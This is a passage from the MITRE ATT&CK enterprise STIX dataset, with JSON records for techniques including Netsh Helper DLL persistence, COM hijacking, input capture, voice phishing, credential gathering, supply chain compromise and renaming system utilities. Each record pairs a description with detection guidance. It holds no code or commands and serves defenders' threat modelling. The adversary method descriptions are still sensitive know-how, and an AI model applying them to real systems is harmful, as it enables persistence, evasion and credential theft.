Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or for initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Internet scanners may be used to look for patterns associated with malicious content designed to collect host software information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Internet Scan: Response Content"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Matthew Demaske, Adaptforward"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--bb0e0cb5-f3e4-4118-a4cb-6bf13bfbc9f2","type":"attack-pattern","created":"2017-05-31T21:31:40.168Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1128","url":"https://attack.mitre.org/techniques/T1128"},{"url":"https://technet.microsoft.com/library/bb490939.aspx","description":"Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017.","source_name":"TechNet Netsh"},{"url":"https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html","description":"Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017.","source_name":"Demaske Netsh Persistence"},{"url":"https://github.com/outflankbv/NetshHelperBeacon","description":"Smeets, M. (2016, September 26). NetshHelperBeacon. Retrieved February 13, 2017.","source_name":"Github Netsh Helper CS Beacon"}],"modified":"2020-01-24T14:27:28.869Z","name":"Netsh Helper DLL","description":"Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\\SOFTWARE\\Microsoft\\Netsh.\n\nAdversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another Persistence technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe. (Citation: Demaske Netsh Persistence)\n\nProof of concept code exists to load Cobalt Strike's payload using netsh.exe helper DLLs. (Citation: Github Netsh Helper CS Beacon)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the HKLM\\SOFTWARE\\Microsoft\\Netsh registry key for any new or suspicious entries that do not correlate with known system files or benign software. (Citation: Demaske Netsh Persistence)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["Administrator","SYSTEM"],"x_mitre_system_requirements":["{{LinkByID|S0108}}"],"x_mitre_is_subtechnique":false},{"modified":"2024-08-13T17:33:45.244Z","name":"Input Capture","description":"Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"},{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_contributors":["John Lambert, Microsoft Threat Intelligence Center"],"x_mitre_deprecated":false,"x_mitre_detection":"Detection may vary depending on how input is captured but may include monitoring for certain Windows API calls (e.g. `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`)(Citation: Adventures of a Keystroke), monitoring for malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), and ensuring no unauthorized drivers or kernel modules that could indicate keylogging or API hooking are present.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_version":"1.3","x_mitre_data_sources":["File: File Modification","Process: Process Creation","Windows Registry: Windows Registry Key Modification","Process: Process Metadata","Process: OS API Execution","Driver: Driver Load"],"type":"attack-pattern","id":"attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2","created":"2017-05-31T21:30:48.323Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1056","external_id":"T1056"},{"source_name":"Adventures of a Keystroke","description":"Tinaztepe, E. (n.d.). The Adventures of a Keystroke: An in-depth look into keyloggers on Windows. Retrieved April 27, 2016.","url":"http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T16:06:47.134Z","name":"Spearphishing Voice","description":"Adversaries may use voice communications to ultimately gain access to victim systems. Spearphishing voice is a specific variant of spearphishing. It is different from other forms of spearphishing in that is employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications. Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: [Impersonation](https://attack.mitre.org/techniques/T1656)) and/or creating a sense of urgency or alarm for the recipient.\n\nAll forms of phishing are electronically delivered social engineering. In this scenario, adversaries are not directly sending malware to a victim vice relying on [User Execution](https://attack.mitre.org/techniques/T1204) for delivery and execution. For example, victims may receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools ([Remote Access Software](https://attack.mitre.org/techniques/T1219)) onto their computer.(Citation: Unit42 Luna Moth)\n\nAdversaries may also combine voice phishing with [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621) in order to trick users into divulging MFA credentials or accepting authentication prompts.(Citation: Proofpoint Vishing)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"initial-access"}],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows","Identity Provider"],"x_mitre_version":"1.1","x_mitre_data_sources":["Application Log: Application Log Content"],"type":"attack-pattern","id":"attack-pattern--bb5e59c4-abe7-40c7-8196-e373cb1e5974","created":"2023-09-07T21:50:08.827Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1566/004","external_id":"T1566.004"},{"source_name":"CISA Remote Monitoring and Management Software","description":"CISA. (n.d.). Protecting Against Malicious Use of Remote Monitoring and Management Software. Retrieved February 2, 2023.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa23-025a"},{"source_name":"Unit42 Luna Moth","description":"Kristopher Russo. (n.d.). Luna Moth Callback Phishing Campaign. Retrieved February 2, 2023.","url":"https://unit42.paloaltonetworks.com/luna-moth-callback-phishing/"},{"source_name":"sygnia Luna Month","description":"Oren Biderman, Tomer Lahiyani, Noam Lifshitz, Ori Porag. (n.d.). LUNA MOTH: THE THREAT ACTORS BEHIND RECENT FALSE SUBSCRIPTION SCAMS. Retrieved February 2, 2023.","url":"https://blog.sygnia.co/luna-moth-false-subscription-scams"},{"source_name":"Proofpoint Vishing","description":"Proofpoint. (n.d.). What Is Vishing?. Retrieved September 8, 2023.","url":"https://www.proofpoint.com/us/threat-reference/vishing"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--bbc3cba7-84ae-410d-b18b-16750731dfa2","type":"attack-pattern","created":"2020-10-01T01:48:15.511Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1587.004","url":"https://attack.mitre.org/techniques/T1587/004"},{"source_name":"NYTStuxnet","description":"William J. Broad, John Markoff, and David E. Sanger. (2011, January 15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved March 1, 2017.","url":"https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html"},{"source_name":"Irongeek Sims BSides 2017","url":"https://www.irongeek.com/i.php?page=videos/bsidescharm2017/bsidescharm-2017-t111-microsoft-patch-analysis-for-exploitation-stephen-sims","description":"Stephen Sims. (2017, April 30). Microsoft Patch Analysis for Exploitation. Retrieved October 16, 2020."}],"modified":"2021-04-15T03:07:53.803Z","name":"Exploits","description":"Adversaries may develop exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than finding/modifying exploits from online or purchasing them from exploit vendors, an adversary may develop their own exploits.(Citation: NYTStuxnet) Adversaries may use information acquired via [Vulnerabilities](https://attack.mitre.org/techniques/T1588/006) to focus exploit development efforts. As part of the exploit development process, adversaries may uncover exploitable vulnerabilities through methods such as fuzzing and patch analysis.(Citation: Irongeek Sims BSides 2017)\n\nAs with legitimate development efforts, different skill sets may be required for developing exploits. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's exploit development capabilities, provided the adversary plays a role in shaping requirements and maintains an initial degree of exclusivity to the exploit.\n\nAdversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--bbe5b322-e2af-4a5e-9625-a4e62bf84ed3","type":"attack-pattern","created":"2020-10-02T16:49:31.262Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1593.001","url":"https://attack.mitre.org/techniques/T1593/001"},{"source_name":"Cyware Social Media","url":"https://cyware.com/news/how-hackers-exploit-social-media-to-break-into-your-company-88e8da8e","description":"Cyware Hacker News. (2019, October 2). How Hackers Exploit Social Media To Break Into Your Company. Retrieved October 20, 2020."}],"modified":"2021-04-15T03:52:40.958Z","name":"Social Media","description":"Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff.\n\nAdversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim’s into revealing specific information (i.e. [Spearphishing Service](https://attack.mitre.org/techniques/T1598/001)).(Citation: Cyware Social Media) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-17T14:36:24.983Z","name":"Customer Relationship Management Software","description":"Adversaries may leverage Customer Relationship Management (CRM) software to mine valuable information. CRM software is used to assist organizations in tracking and managing customer interactions, as well as storing customer data.\n\nOnce adversaries gain access to a victim organization, they may mine CRM software for customer data. This may include personally identifiable information (PII) such as full names, emails, phone numbers, and addresses, as well as additional details such as purchase histories and IT support interactions. By collecting this data, an adversary may be able to send personalized [Phishing](https://attack.mitre.org/techniques/T1566) emails, engage in SIM swapping, or otherwise target the organization’s customers in ways that enable financial gain or the compromise of additional organizations.(Citation: Bleeping Computer US Cellular Hack 2022)(Citation: Bleeping Computer Mint Mobile Hack 2021)(Citation: Bleeping Computer Bank Hack 2020)\n\nCRM software may be hosted on-premises or in the cloud. Information stored in these solutions may vary based on the specific instance or environment. Examples of CRM software include Microsoft Dynamics 365, Salesforce, Zoho, Zendesk, and HubSpot.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_contributors":["Centre for Cybersecurity Belgium (CCB)"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["SaaS"],"x_mitre_version":"1.0","x_mitre_data_sources":["Logon Session: Logon Session Creation","Application Log: Application Log Content"],"type":"attack-pattern","id":"attack-pattern--bbfbb096-6561-4d7d-aa2c-a5ee8e44c696","created":"2024-07-01T20:06:13.664Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1213/004","external_id":"T1213.004"},{"source_name":"Bleeping Computer Bank Hack 2020","description":"Ionut Ilascu. (2020, January 16). Customer-Owned Bank Informs 100k of Breach Exposing Account Balance, PII. Retrieved July 1, 2024.","url":"https://www.bleepingcomputer.com/news/security/customer-owned-bank-informs-100k-of-breach-exposing-account-balance-pii/"},{"source_name":"Bleeping Computer Mint Mobile Hack 2021","description":"Lawrence Abrams. (2021, July 10). Mint Mobile hit by a data breach after numbers ported, data accessed. Retrieved July 1, 2024.","url":"https://www.bleepingcomputer.com/news/security/mint-mobile-hit-by-a-data-breach-after-numbers-ported-data-accessed/"},{"source_name":"Bleeping Computer US Cellular Hack 2022","description":"Sergiu Gatlan. (2022, January 4). UScellular discloses data breach after billing system hack. Retrieved July 1, 2024.","url":"https://www.bleepingcomputer.com/news/security/uscellular-discloses-data-breach-after-billing-system-hack/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-04-21T12:34:29.402Z","name":"Component Object Model Hijacking","description":"Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model) References to various COM objects are stored in the Registry. \n\nAdversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_contributors":["Elastic"],"x_mitre_deprecated":false,"x_mitre_detection":"There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations (ex: [Reg](https://attack.mitre.org/software/S0075)) replacing known binary paths with unknown paths or otherwise malicious content. Even though some third-party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\.(Citation: Elastic COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. \n\nLikewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed. ","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.1","x_mitre_data_sources":["Process: Process Creation","Module: Module Load","Windows Registry: Windows Registry Key Modification","Command: Command Execution"],"x_mitre_permissions_required":["User"],"type":"attack-pattern","id":"attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae","created":"2020-03-16T14:12:47.923Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1546/015","external_id":"T1546.015"},{"source_name":"Elastic COM Hijacking","description":"Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting Persistence & Evasion with the COM. Retrieved September 15, 2016.","url":"https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com"},{"source_name":"GDATA COM Hijacking","description":"G DATA. (2014, October). COM Object hijacking: the discreet way of persistence. Retrieved August 13, 2016.","url":"https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence"},{"source_name":"Microsoft Component Object Model","description":"Microsoft. (n.d.). The Component Object Model. Retrieved August 18, 2016.","url":"https://msdn.microsoft.com/library/ms694363.aspx"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-10T13:45:01.069Z","name":"Credentials","description":"Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts.\n\nAdversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) (Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP).(Citation: Okta Scatter Swine 2022)\n\nCredential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.). Adversaries may purchase credentials from dark web markets, such as Russian Market and 2easy, or through access to Telegram channels that distribute logs from infostealer malware.(Citation: Bleeping Computer 2easy 2021)(Citation: SecureWorks Infostealers 2023)(Citation: Bleeping Computer Stealer Logs 2023)\n\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_contributors":["Vinayak Wadhwa, Lucideus","Lee Christensen, SpecterOps","Toby Kohlenberg","Massimo Giaimo, Würth Group Cyber Defence Center"],"x_mitre_deprecated":false,"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["PRE"],"x_mitre_version":"1.2","type":"attack-pattern","id":"attack-pattern--bc76d0a4-db11-4551-9ac4-01a469cfb161","created":"2020-10-02T14:55:43.815Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1589/001","external_id":"T1589.001"},{"source_name":"Bleeping Computer 2easy 2021","description":"Bill Toulas. (2021, December 21). 2easy now a significant dark web marketplace for stolen data. Retrieved October 7, 2024.","url":"https://www.bleepingcomputer.com/news/security/2easy-now-a-significant-dark-web-marketplace-for-stolen-data/"},{"source_name":"ATT ScanBox","description":"Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.","url":"https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"},{"source_name":"Detectify Slack Tokens","description":"Detectify. (2016, April 28). Slack bot token leakage exposing business critical information. Retrieved October 19, 2020.","url":"https://labs.detectify.com/2016/04/28/slack-bot-token-leakage-exposing-business-critical-information/"},{"source_name":"GitHub truffleHog","description":"Dylan Ayrey. (2016, December 31). truffleHog. Retrieved October 19, 2020.","url":"https://github.com/dxa4481/truffleHog"},{"source_name":"Bleeping Computer Stealer Logs 2023","description":"Flare. (2023, June 6). Dissecting the Dark Web Supply Chain: Stealer Logs in Context. Retrieved October 10, 2024.","url":"https://www.bleepingcomputer.com/news/security/dissecting-the-dark-web-supply-chain-stealer-logs-in-context/"},{"source_name":"Register Uber","description":"McCarthy, K. (2015, February 28). FORK ME! Uber hauls GitHub into court to find who hacked database of 50,000 drivers. Retrieved October 19, 2020.","url":"https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/"},{"source_name":"GitHub Gitrob","description":"Michael Henriksen. (2018, June 9). Gitrob: Putting the Open Source in OSINT. Retrieved October 19, 2020.","url":"https://github.com/michenriksen/gitrob"},{"source_name":"CNET Leaks","description":"Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020.","url":"https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/"},{"source_name":"Okta Scatter Swine 2022","description":"Okta. (2022, August 25). Detecting Scatter Swine: Insights into a Relentless Phishing Campaign. Retrieved February 24, 2023.","url":"https://sec.okta.com/scatterswine"},{"source_name":"Forbes GitHub Creds","description":"Sandvik, R. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved October 19, 2020.","url":"https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196"},{"source_name":"SecureWorks Infostealers 2023","description":"SecureWorks Counter Threat Unit Research Team. (2023, May 16). The Growing Threat from Infostealers. Retrieved October 10, 2024.","url":"https://www.secureworks.com/research/the-growing-threat-from-infostealers"},{"source_name":"Register Deloitte","description":"Thomson, I. (2017, September 26). Deloitte is a sitting duck: Key systems with RDP open, VPN and proxy 'login details leaked'. Retrieved October 19, 2020.","url":"https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00","created":"2020-03-11T14:17:21.153Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"T1195.002","url":"https://attack.mitre.org/techniques/T1195/002"},{"source_name":"Avast CCleaner3 2018","url":"https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities","description":"Avast Threat Intelligence Team. (2018, March 8). New investigations into the CCleaner incident point to a possible third stage that had keylogger capacities. Retrieved March 15, 2018."},{"source_name":"Command Five SK 2011","url":"https://www.commandfive.com/papers/C5_APT_SKHack.pdf","description":"Command Five Pty Ltd. (2011, September). SK Hack by an Advanced Persistent Threat. Retrieved April 6, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version.\n\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011) ","modified":"2022-04-28T16:04:36.636Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Compromise Software Supply Chain","x_mitre_detection":"Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"initial-access"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["File: File Metadata"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-12T19:30:45.065Z","name":"Rename System Utilities","description":"Adversaries may rename legitimate system utilities to try to evade security mechanisms concerning the usage of those utilities. Security monitoring and control mechanisms may be in place for system utilities adversaries are capable of abusing. (Citation: LOLBAS Main Site) It may be possible to bypass those security mechanisms by renaming the utility prior to utilization (ex: rename rundll32.exe). (Citation: Elastic Masquerade Ball) An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_deprecated":false,"x_mitre_detection":"If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.1","x_mitre_data_sources":["File: File Modification","Process: Process Metadata","Command: Command Execution","File: File Metadata"],"type":"attack-pattern","id":"attack-pattern--bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b","created":"2020-02-10T20:03:11.691Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1036/003","external_id":"T1036.003"},{"source_name":"Twitter ItsReallyNick Masquerading Update","description":"Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved September 12, 2024.","url":"https://x.com/ItsReallyNick/status/1055321652777619457"},{"source_name":"Elastic Masquerade Ball","description":"Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.","url":"https://www.elastic.co/blog/how-hunt-masquerade-ball"},{"source_name":"F-Secure CozyDuke","description":"F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/CozyDuke"},{"source_name":"LOLBAS Main Site","description":"LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and also Libraries). Retrieved February 10, 